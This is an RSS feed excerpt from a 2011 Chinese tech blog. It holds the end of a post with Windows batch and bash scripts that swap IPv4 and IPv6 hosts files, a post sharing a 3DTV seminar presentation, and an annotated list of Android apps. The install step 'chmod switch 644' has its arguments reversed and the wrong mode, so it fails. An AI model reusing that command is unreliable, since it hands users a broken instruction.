	REN %FileLocation%\%TargetFileName% %IPV6FileName%
	REN %FileLocation%\%IPV4FileName% %TargetFileName%

)

PAUSE
EXIT

:END
ECHO Nothing changed!</pre>
<p>在<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/windows/" title="查看 Windows 中的全部文章" target="_blank">Windows</a></span> vista和 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/windows/" title="查看 Windows 中的全部文章" target="_blank">Windows</a></span> 7系统中，有用户帐户控制（UAC），总是右键去点击使用管理员权限执行会麻烦，一个解决方案是使用<a href="http://logicmd.net/wp-content/uploads/2011/06/quickbfc.exe">Quick batch file compiler</a>将其编译成exe，然后设定成总是需要管理员权限即可。<br />
最终生成的是SwitchHosts.exe文件。</p>
<blockquote><p>脚本下载地址：<br />
<a href="http://dl.dbank.com/c0l8vthy17" rel="nofollow">http://dl.dbank.com/c0l8vthy17</a></p></blockquote>
<h2><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/linux/" title="查看 Linux 中的全部文章" target="_blank">Linux</a></span>平台</h2>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/linux/" title="查看 Linux 中的全部文章" target="_blank">Linux</a></span>平台中host列表存放在 <code>\etc</code>，我们做同样的文件名规定。</p>
<pre class="brush:shell" title="switch">
#!/bin/bash
#Description:
#This scripts is used to switch host files from ipv4 to ipv6 or the other.
if [ -f /etc/hosts.v6 ] # Now using ipv4 mode
then
	sudo cp /etc/hosts /etc/hosts.v4
	sudo cp /etc/hosts.v6 /etc/hosts
	sudo rm -f /etc/hosts.v6
	echo &quot;Successfully switched to ipv6 hosts!&quot;
elif [ -f /etc/hosts.v4 ] # Now using ipv6 mode
then
	sudo cp /etc/hosts /etc/hosts.v6
        sudo cp /etc/hosts.v4 /etc/hosts
        sudo rm -f /etc/hosts.v4
	echo &quot;Successfully switched to ipv4 hosts!&quot;
else
	echo &quot;ERROR! No Backup File is found!&quot;
fi
</pre>
<p>最后
<pre class="brush:shell" >chmod switch 644
cp ./switch /usr/bin</pre>
<p>之后直接在terminal中输入switch即可~<br />
在Ubuntu 10.04测试通过。<br />
EOF</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Share of my seminar presentation</title>
		<link>http://logicmd.net/2011/04/share-of-my-seminar-presentation/</link>
		<comments>http://logicmd.net/2011/04/share-of-my-seminar-presentation/#comments</comments>
		<pubDate>Fri, 29 Apr 2011 13:49:08 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Academic]]></category>
		<category><![CDATA[Video Processing]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[seminar]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42433</guid>
		<description><![CDATA[Introduction
On April 28th, I have my first seminar presentation in ICST. As a newbie, I choose a survey paper as my first try whose title is Transport methods in 3DTV.
The presentation is a refined version of the original paper. All the documents is shown as belows. Hope you enjoy them and feel  [...]]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p>On April 28th, I have my first <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/seminar/" title="查看 seminar 中的全部文章" target="_blank">seminar</a></span> <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/presentation/" title="查看 presentation 中的全部文章" target="_blank">presentation</a></span> in ICST. As a newbie, I choose a survey paper as my first try whose title is <em>Transport methods in 3DTV.</em></p>
<p>The <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/presentation/" title="查看 presentation 中的全部文章" target="_blank">presentation</a></span> is a refined version of the original paper. All the documents is shown as belows. Hope you enjoy them and feel free to comment whatever in your mind <img src='http://logicmd.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<h2>Presentation</h2>
<div style="margin: 0 auto;">
<div id="__ss_8174070" style="width: 595px;">
<p><strong style="display: block; margin: 12px 0 4px;"><a title="Transport methods in 3DTV--A Survey" href="http://www.slideshare.net/logicmd/transport-methods-in-3dtva-survey-8174070" target="_blank">Transport methods in 3DTV&#8211;A Survey</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8174070" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="595" height="497"></iframe></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/" target="_blank">presentations</a> from <a href="http://www.slideshare.net/logicmd" target="_blank">Kevin Tong</a></div>
</div>
</div>
<p><span id="more-42433"></span></p>
<h2>Original paper</h2>
<div style="margin: 0 auto;">
<div id="__ss_8137531" style="width: 572px;">
<p><strong style="display: block; margin: 12px 0 4px;"><a title="Transport methods in 3DTV--A Survey" href="http://www.slideshare.net/logicmd/transport-methods-in-3dtva-survey" target="_blank">Transport methods in 3DTV&#8211;A Survey</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8137531" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="572" height="612"></iframe></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/" target="_blank">documents</a> from <a href="http://www.slideshare.net/logicmd" target="_blank">Kevin Tong</a></div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/04/share-of-my-seminar-presentation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>我的Android Apps清单</title>
		<link>http://logicmd.net/2011/02/list-of-my-android-apps/</link>
		<comments>http://logicmd.net/2011/02/list-of-my-android-apps/#comments</comments>
		<pubDate>Tue, 01 Feb 2011 13:10:45 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[OpenVPN]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42424</guid>
		<description><![CDATA[

文章目录

关于市场
验机必备（三只）
Google App类（九只）
通信及系統类（十一只）
影音娱乐类（五只）
Web &#38; Web2.0类（八只）
实用工具类（十三只）
游戏装X类（八只）



入手Desire Z一周多，尝试过的Android应用来来去去也有100多个了，不敢独享，特来分享  
Live Version: http://bit.ly/my-android-apps
零、关于市场
什么东西进入中国都有“中国特色”，在这一点上Android也不能例外，本来Google 官方好好的 Android  [...]]]></description>
			<content:encoded><![CDATA[<div id="toc_container" style="float: right; background: white;">
<div id="toc" style="float: right; max-width: 200px; padding: 6px; margin: 0 0 20px 20px; border: 1px sulid #EDF3DE; background: white; border-radius: 6px;">
<div id="title" style="border-bottom: 1px sulid #EDF3DE; display: block; font-size: 16px; font-weight: buld; padding: 0px 4px 5px 4px;">文章目录</div>
<ul id="ul_1" style="display: block;">
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#0">关于市场</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#1">验机必备（三只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#2">Google App类（九只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#3">通信及系統类（十一只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#4">影音娱乐类（五只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#5">Web &amp; Web2.0类（八只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#6">实用工具类（十三只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#7">游戏装X类（八只）</a></li>
</ul>
</div>
</div>
<p>入手Desire Z一周多，尝试过的<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span>应用来来去去也有100多个了，不敢独享，特来分享 <img src='http://logicmd.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<pre>Live Version: http://bit.ly/my-android-apps</pre>
<h2><a name="0"></a>零、关于市场</h2>
<p>什么东西进入中国都有“中国特色”，在这一点上<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span>也不能例外，本来<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> 官方好好的 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span> Market，在国内又出现了数十个论坛自己所谓的市场。在<b style="culor:black;background-culor:#ffff66">我</b>看来，尽量只使用<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span> Market官方市场，毕竟有巨大的用户数量做保证（国外貌似没有这么多鱼龙混杂的市场），又有25美刀的注册费做门槛；这样一来太糟糕、恶意的应用很难藏身。所谓的“数字卫士”，所谓的安X市场应用检测倒显得没有必要了。</p>
<p>闲话不说开始正题。<br />
<span id="more-42424"></span></p>
<h2><a name="1"></a>壹、验机必备（三只）</h2>
<p>Desire Z在国内只有私货，验机很重要！</p>
<p><img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Dead%20Pixel%20Test.png" alt="Dead Pixel Test" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Dead Pixel Test</li>
</ul>
<p>用最高亮度多达10钟颜色壁纸检查LCD是否有亮点坏点。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/MultiTouch%20Tester.png" alt="MultiTouch Tester" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>MultiTouch Tester</li>
</ul>
<p>检查多点触控点数。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Z-DeviceTest.png" alt="Z-DeviceTest" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Z-DeviceTest</li>
</ul>
<p>给机身所有硬件，包括摄像头、GPS、蓝牙，加速度计、罗盘、扬声器、话筒以及所有你想得到的硬件，做检查。</p>
<h2><a name="2"></a>贰、<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> App类（九只）</h2>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span>手机系<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span>出品，最大的特色有很多推送的应用。</p>
<p><img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/market-enabler.png" alt="Market Enabler" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Market Enabler（需要root权限）</li>
</ul>
<p>Must have app。有了它才能在菜市场看到很多好用但是不面向天朝的应用。（例如<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> maps）<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-maps.png" alt="Google Maps" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Maps</li>
</ul>
<p>Must have app。最新的5.0版支持离线地图，且地图全部采用矢量图存储，更少的Loading；有了罗盘模式手机再也不必转来转去了~<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/street-views.png" alt="Street View on Google Maps" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Street View on <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Maps</li>
</ul>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Maps街景模式插件。开了罗盘模式后效果一级震撼啊！但是在国内几乎没用，肉身不能出国的来看看吧。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-earth.png" alt="Google Earth" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Earth</li>
</ul>
<p>很好玩，提供几乎跟PC上同样的效果，看到很多Panoramio图床的风景。<br />
<img style="float: right; margin-top: 15px; margin-right: 3px; margin-bottom: 0px; margin-left: 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-sky-maps.png" alt="Google Sky Map" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Sky Map</li>
</ul>
<p>据说是把妹必备应用 <img src='http://logicmd.net/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />   非常有创意，非常好玩。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-goggles.png" alt="Google Goggles" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Goggles</li>
</ul>
<p>第一次好像要<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>后之后才能正常使用。条形码识别跟国内产品线不对应，使用意义不大。能解数独，这点很创意的可是居然只开放给米国使用，挂<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>后国内方可使用。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-reader.png" alt="Google Reader" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Reader</li>
</ul>
<p>Must have app。不解释，第一次好像也要<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>后才能正常使用<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Chrome%20to%20Phone.png" alt="Chrome to Phone" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Chrome to Phone（谷歌浏览器转手机）</li>
</ul>
<p>多好的服务啊，可惜也被墙了&#8230;<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/gtasks.png" alt="GTasks" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>GTasks</li>
</ul>
<p>非官方出品，和<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Task 同步，效果不错。 和ROM中的<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Calender一起，GTD必备。</p>
<h2><a name="3"></a>叁、通信及系統类（十一只）</h2>
<p>来源于对于Symbain平台上“来电通”功能的需要。来去电归属地和来电黑名单ROM里面有了，<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span>版的来电通很不给力。</p>
<p><img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/missed-call.png" alt="Missed Call" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Missed Call</li>
</ul>
<p>用于未接来电提醒，很小巧，不累赘。未读短信提醒做的很糟糕，只用未接来电提醒好了。 = =<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/GO-SMS.png" alt="GO SMS" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>GO SMS</li>
</ul>
<p>少见的国产软件精品，用于未读短信提醒，还有很多短信增强功能。用过 Handcent SMS，更加老牌，但是不是很符合国内使用习惯，UI也没有GO SMS好看。<br />
<img style="float: right; margin-top: 0px; margin-right: 3px; margin-bottom: 10px; margin-left: 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/3G-Watchdog-Pro.png" alt="3G Watchdog Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>3G Watchdog Pro</li>
</ul>
<p>流量监控，带有直观的widget，还可以按时间，按应用生成流量报告，很强大，Must Have！<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/ATK.png" alt="Advanced Task Killer" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Advanced Task Killer</li>
</ul>
<p>任务管理器，Must Have！很小巧，很高效。<br />
<img style="float: right; margin: 0px 3px 2px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/re.png" alt="Root Explorer" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Root Explorer</li>
</ul>
<p>文件管理器，需要root，神器，很高效。ROM里面有OI文件管理卸不掉，用过ASTRO，好臃肿。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Adfree.png" alt="Adfree" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Adfree</li>
</ul>
<p>需root，原理就是修改机身hosts，把广告（应该是Admob吧）统统屏蔽（据说对国内安A机B安C市场中app广告不起作用，看看还是官方菜市场好吧 <img src='http://logicmd.net/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />  ）<br />
<img style="float: right; margin: 0px 3px 10px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/sogou-input.png" alt="搜狗输入法" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>搜狗输入法</li>
</ul>
<p>先是试用了百度输入法，对于800*480这个分辨率支持很不友好，虚拟键盘图片看起来很不清晰，标点符号也不够常用，当然9宫格输入字母的时候还是不错的。然后换了搜狗输入法，UI很不错~<br />
<img style="float: right; margin: 0px 3px 32px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Lookout%20Mobile%20Security.png" alt="Lookout Mobile Security" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Lookout Mobile Security</li>
</ul>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>平台上的Find my phone，用过一次定位很慢，警报也能自行停止。关键是<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>手机不是iPhone那般密封，大大多可以通过拔电池解决，再加上root后的手机随随便便就能wipe -.-</p>
<p>类似的软件还有Find My Phone（短信通信看起来不很友好）和Seek Droid（0.99刀）。<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/OpenVPN%20Settings.png" alt="OpenVPN Settings" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span> Settings</li>
</ul>
<p>如果不是一直开着terminal，还是用这个<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span>的外壳吧，比TunnelDroid好用（头标也忒丑了）。偶是CM系统内置<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span>，否则，您也许还需要<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/openvpn/" title="查看 OpenVPN 中的全部文章" target="_blank">OpenVPN</a></span> Installer。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/ConnectBot.png" alt="ConnectBot" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>ConnectBot</li>
</ul>
<p>SSH管理远程主机必备，支持密钥认证；当然也可以蛋疼地telnet bbs。<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Brightness%20Toggle%20Widget.png" alt="OpenVPN Settings" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Brightness Toggle Widget</li>
</ul>
<p>Must have，小巧，多达10阶亮度调整，双击进入自适应状态。比系统自带的电量控制Widget好用</p>
<h2><a name="4"></a>肆、影音娱乐类（五只）</h2>
<p><img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/quick-pic.png" alt="快图浏览" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>快图浏览</li>
</ul>
<p>Must Have！ 各种给力！从某种意义上说，全拜ROM中官方图库（Gallery）所赐，BTW，Gallery那个缩略图载入速度，那个低DPI，一开始<b style="culor:black;background-culor:#ffff66">我</b>还以为是屏幕坏了！要不是有个3D效果，要不是还带重力感应，可以少量装X，<b style="culor:black;background-culor:#ffff66">我</b>早就%……￥&amp;！！<br />
<img style="float: right; margin-top: 15px; margin-right: 3px; margin-bottom: 2px; margin-left: 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/VPlayer.png" alt="VPlayer" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>VPlayer</li>
</ul>
<p>据说超越RockPlayer的应用，<b style="culor:black;background-culor:#ffff66">我</b>都装着。（RockPlayer的介绍看着好专业~~）<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Camera-360.png" alt="Camera 360" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Camera 360</li>
</ul>
<p>相机效果，比系统内置相机好用。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/PicSay%20Pro.png" alt="PicSay Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>PicSay Pro</li>
</ul>
<p>还没怎么用，备着。还装了魔图精灵，更符合国人审美观。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Picplz.png" alt="Picplz" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Picplz</li>
</ul>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>上的instagrm，各种效果，各种web2.0，用@WilliamLong的说法是可以取代Flickr了，暂时不支持Desire z -.-</p>
<h2><a name="5"></a>伍、Web &amp; Web2.0类（八只）</h2>
<p><img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/UC.png" alt="UC" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>UC浏览器</li>
</ul>
<p>主要还是用系统自带的浏览器，挑个小流量备用的。用过天天浏览器（各种版本老是FC），用过Opera Mobile，还是UC老牌，UI舒服，渲染也不错，逛Discuz!论坛必备。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Opera-Mini.png" alt="Opera Mini" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Opera Mini</li>
</ul>
<p>改服版，大家懂得。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Twidroyd.png" alt="Twidroyd" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Twidroyd</li>
</ul>
<p>上推必备，尽管Seesmic UI更精致更HD，但是还是功能多的顺手，特别是LivePreview，神马图床的推都可看了，很强大！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/CB-sofa.png" alt="CB沙发器" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>CB沙发器</li>
</ul>
<p>常上cnBeta人士必备！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/renren.png" alt="人人网" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>人人网</li>
</ul>
<p>可以给通信录加头像，呵呵。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/sina-weibo.png" alt="新浪围脖" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>新浪围脖</li>
</ul>
<p>还没登陆过-.-，不需要推送的就不必下了。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/aQQ.png" alt="aQQ" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>aQQ</li>
</ul>
<p>官方版的QQ实在是太庞大，太臃肿，太平台化了，很少上手机聊，还是民间精简版吧~ Must Have！<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/miniFetion.png" alt="miniFetion" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>miniFetion</li>
</ul>
<p>同PC端，非移动号码也能用，Must Have！</p>
<h2><a name="6"></a>陆、实用工具类（十三只）</h2>
<p><img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Fancy-Widget-Pro.png" alt="Fancy Widget Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Fancy Widget Pro</li>
</ul>
<p>人如其名，非常华丽(Fancy)的天气Widget，HTC Sense UI天气？ MIUI天气？统统没问题，尽在Fancy Widget Pro。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/railway.png" alt="猜火车" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>猜火车</li>
</ul>
<p><b style="culor:black;background-culor:#ffff66">我</b>用过的最好用的余票查询系统。Must Have<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/bj-sub.png" alt="北京地铁" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>北京地铁</li>
</ul>
<p>头标好帅好帅，这组神奇的地铁软件分了N个城市发布在菜市场。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Moon+Reader.png" alt="Moon+ Reader" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Moon+ Reader（静读天下）</li>
</ul>
<p>RSS，书籍， txt/ePub/umd/&#8230;最好用的电子书软件，Must Have<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Barcode-Scanner.png" alt="Barcode Scanner" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Barcode Scanner</li>
</ul>
<p>老牌条形码识别，还不错，背后有丰富的后端程序（针对国内市场嘛）<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/QuickMark.png" alt="QuickMark" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>QuickMark</li>
</ul>
<p>“QuickMark”，挪鸡鸭上的经典软件，对中文支持强于Barcode Scanner。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/dbook.png" alt="图书比价" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>图书比价</li>
</ul>
<p>利用Barcode Scanner扫描识别的数据，给出图书在卓越当当的价格对比，更有豆瓣书评，Must Have！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/wochacha.png" alt="我查查" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><b style="culor:black;background-culor:#ffff66">我</b>查查</li>
</ul>
